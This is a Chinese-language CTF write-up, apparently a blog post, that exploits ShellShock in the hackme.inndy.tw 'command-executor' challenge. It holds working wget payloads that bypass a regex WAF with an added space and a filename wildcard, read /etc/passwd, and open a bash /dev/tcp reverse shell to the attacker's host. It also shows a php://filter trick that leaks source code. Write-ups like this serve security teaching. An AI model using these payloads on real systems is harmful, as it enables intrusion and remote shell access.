about 1 results (0.02 seconds)

一道与破壳(ShellShock)漏洞相关的Web题

by LauCyun Feb 5,2018 01:13:39 335,006 views

题目地址:

渗透环境:

  • Kali Linux 2017.3
  • 服务器(用于反弹Shell):
    • 需安装NetCat
    • 开放20182端口

0x01 寻找漏洞

https://command-executor.hackme.inndy.tw/index.php?func=ls中,发现可以遍历目录,如下图:

试试能不能读index.php文件内容,https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource=index,如下图:

果然,很容易就读到index.php文件,通过base64解密后,拿到文件源码,如下:

<?php
$pages = [
    ['man', 'Man'],
    ['untar', 'Tar Tester'],
    ['cmd', 'Cmd Exec'],
    ['ls', 'List files'],
];

function fuck($msg) {
    header('Content-Type: text/plain');
    echo $msg;
    exit;
}

$black_list = [
    '\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
    global $black_list;
    if(is_array($a)) {
        foreach($a as $key => $val) {
            waf($key);
            waf($val);
        }
    } else {
        foreach($black_list as $b) {
            if(preg_match("/$b/", $a) === 1) {
                fuck("$b detected! exit now.");
            }
        }
    }
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
    system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
    if(substr($key, 0, 5) === 'HTTP_') {
        putenv("$key=$val");
    }
}

$page = '';

if(isset($_GET['func'])) {
    $page = $_GET['func'];
    if(strstr($page, '..') !== false) {
        $page = '';
    }
}

if($page && strlen($page) > 0) {
    try {
        include("$page.php");
    } catch (Exception $e) {
    }
}

function render_default() { ?>
<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>

<img src="windows-run.jpg" alt="command executor">
<?php }
?><!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>Command Executor</title>
    <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
    <link rel="stylesheet" href="comic-neue/font.css" media="all">
    <style>
      nav { margin-bottom: 1rem; }
      img { max-width: 100%; }
    </style>
  </head>
  <body>
    <nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
      <a class="navbar-brand" href="index.php">Command Executor</a>

      <ul class="navbar-nav">
<?php foreach($pages as list($file, $title)): ?>
        <li class="nav-item">
          <a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
        </li>
<?php endforeach; ?>
      </ul>
    </nav>

    <div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
  </body>
</html>

在index.php文件源码中,注意到一个很可疑的函数putenv(),结合env可以很快就联想到2014年的一个重大漏洞:CVE-2014-6271(ShellShock漏洞,其漏洞细节请阅读:破壳(ShellShock)漏洞样本分析报告 - FreeBuf.COM | 关注黑客与极客)。

foreach($_SERVER as $key => $val) {
    if(substr($key, 0, 5) === 'HTTP_') {
        putenv("$key=$val");
    }
}

OK,确定了漏洞,那么接下来就是尝试可用exp的时候了。

0x02 利用Exp

一番Google后,发现https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php#answer-68715putenv()类似:

他也给出了exp:

wget --header="X-Exploit: () { :; }; echo Hacked" -q -O - http://127.0.0.1/shock.php

用他的exp试一下:

wget --header="X-Exploit: () { :; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

结果发现可以用,但是被waf拦截了:

\(\)\s*\{\s*:;\s*\}; detected! exit now.

分析index.php的waf过滤点:

$black_list = [
    '\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
    global $black_list;
    if(is_array($a)) {
        foreach($a as $key => $val) {
            waf($key);
            waf($val);
        }
    } else {
        foreach($black_list as $b) {
            if(preg_match("/$b/", $a) === 1) {
                fuck("$b detected! exit now.");
            }
        }
    }
}

可以看到X-Exploit: () { :; };被黑名单禁止了,但是这样的waf存在极大隐患,只要加个空格就可以轻松绕过:

wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

再次尝试:

可以看到Hacked成功回显!

于是,开始执行命令,需要注意的是:执行命令需要加上/bin/,比如:cat命令要写成/bin/cat,直接cat是不成功。

先尝试查看/etc/passwd

wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

ok,命令成功执行,所以下面我们的思路很清晰,找到flag并读取就行了。

0x03 分析flag程序

这个题目本身自带ls,发现flag在根目录https://command-executor.hackme.inndy.tw/index.php?func=ls&file=../../../../../../

-r--------   1 flag root   37 Jan  9 11:05 flag
-rwsr-xr-x   1 flag root 9080 Jan 19 08:27 flag-reader
-rw-r--r--   1 root root  653 Jan  9 11:05 flag-reader.c

先尝试cat一下flag文件:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../flag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

可以看出,此时又触发了waf,依旧被上面那个黑名单给禁止了!

那么有没有办法绕过/flag呢?这里给出2个思考路线:

  • shell拼接,比如a=/fl;b=ag;c=a+b这样(此处写的不严谨,有兴趣可以自己去研究一下)
  • 通配符绕过

选择第二点:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

很显然,没有成功,回去查看文件权限:

-r--------   1 flag root   37 Jan  9 11:05 flag

发现flag只有root才能读。

这时就郁闷了,但是对其中有一个c写的flag-reader引起了关注,查看一下源码:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

源码如下:

#include < unistd.h >
#include < syscall.h >
#include < fcntl.h >
#include < string.h >

int main(int argc, char * argv[])
{
    char buff[4096],
    rnd[16],
    val[16];

    if (syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
        write(1, "Not enough random\n", 18);
    }
    setuid(1337);
    seteuid(1337);
    alarm(1);
    write(1, &rnd, sizeof(rnd));
    read(0, &val, sizeof(val));
    if (memcmp(rnd, val, sizeof(rnd)) == 0) {
        int fd = open(argv[1], O_RDONLY);
        if (fd > 0) {
            int s = read(fd, buff, 1024);
            if (s > 0) {
                write(1, buff, s);
            }
            close(fd);
        } else {
            write(1, "Can not open file\n", 18);
        }
    } else {
        write(1, "Wrong response\n", 16);
    }
}

其大致原理就是:1秒之内把他输出的再输入回去,就可以打出文件内容。

0x04 反弹shell

此时思路很明朗:先运行这个flag-reader,再把flag-reader输出在1s内再输回去。但是纯靠这样的交互,速度极慢,所以容易想到,要不要拿个shell?

这里给出2种拿shell的思路:

这里我选择反弹shell(因为后面还会写文件,所以这里选择反弹,就不写了):

wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/20182 0>&1" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

然后一会儿就能收到shell(记得开放20182端口):

而下面就只要解决如何在1s内输入c文件输出的结果这个问题了。

这里我选择了linux下的重定向,我们将输出写到某个文件中,再自动输入即可,这样即可达到目的。

接着,探索可写目录,发现/var/tmp具有写权限:

最后,运行flag-reader程序(最好先创建好/var/tmp/myflag):

flag-reader flag > /var/tmp/myflag < /var/tmp/myflag

即可在myflag中读到flag:

FLAG{W0w U sh0cked m3 by 5h3115h0ck}

0x05 参考

...

Tags Read More..